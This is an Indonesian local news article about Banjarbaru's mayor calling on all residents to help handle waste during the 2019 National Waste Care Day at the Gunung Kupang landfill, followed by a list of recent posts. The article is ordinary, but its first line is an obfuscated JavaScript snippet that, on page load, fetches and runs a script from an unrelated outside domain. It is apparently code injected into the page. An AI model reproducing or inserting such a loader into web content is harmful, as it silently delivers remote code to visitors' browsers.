(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Walikota Banjarbaru Mengajak ‘Mengerubuti’ Penanganan Sampah


BANJARBARU, Walikota Banjarbaru H Nadjmi Adhani menyampaikan pentingnya “mengerubuti” penanganan sampah oleh seluruh lapisan masyarakat.  “Jika hanya diserahkan kepada pemerintah, maka persoalan sampah ini tidak akan pernah selesai, karena sebagian besar sampah ini berasal dari rumah tangga,” ujarnya.

Hal ini disampaikan Nadjmi saat Peringatan Hari Peduli Sampah Nasional (HPSN) 2019 di Kota Banjarbaru yang diselenggarakan di TPA Gunung Kupang, Rabu (6/3).

Dalam upaya penanganan sampah ini, Nadjmi mengaku telah melakukan beberapa hal antara lain mengambil peluang membangun TPA Regional Banjarbakula seluas 30 hektare. Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup, terus melakukan perbaikan pengelolaan sampah di TPA Gunung Kupang.

Selain itu Pemerintah Kota Banjarbaru juga telah mengeluarkan Peraturan Walikota tentang Pengurangan Penggunaan Kantong Plastik di ritel/toko modern yang ada di Banjarbaru. Pemerintah juga terus meningkatkan partisipasi masyarakat dalam pengelolaan sampah melalui pembentukan Bank Sampah yang saat ini jumlahnya lebih dari 116 unit.

Peringatan Hari Peduli Sampah Nasional 2019 juga diisi dengan kegiatan pembersihan pasar, penanaman pohon dan Peresmian IPLT (Instalasi Pengolahan Lumpur Tinja) di di TPA Gunung Kupang, Banjarbaru.

Menurut Kepala Dinas Lingkungan Hidup Sirajoni, peringatan HPSN 2019 yang dilaksanakan di TPA Gunung Kupang BAnjarbaru dimaksudnya agar masyarakat mengetahui bagaimana kondisi dan sistem pengelolaan sampah di TPA. Dari situ diharapkan muncul kesadaran masyarakat untuk mendukung perbaikan pengelolaan sampah seperti memisahkan sampah organik dan sampah plastik sejak dari rumah tangga.

“Pengelolaan sampah sangat penting, bukan hanya tugas pemerintah, tapi juga peran dunia usaha dan masyarakat. Karena mengatasi persoalan sampah yang kedepannya akan semakin berat dibutuhkan peran dan partisipasi semua lapisan masyarakat, bukan hanya mengandalkan peran pemerintah,” pungkasnya. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.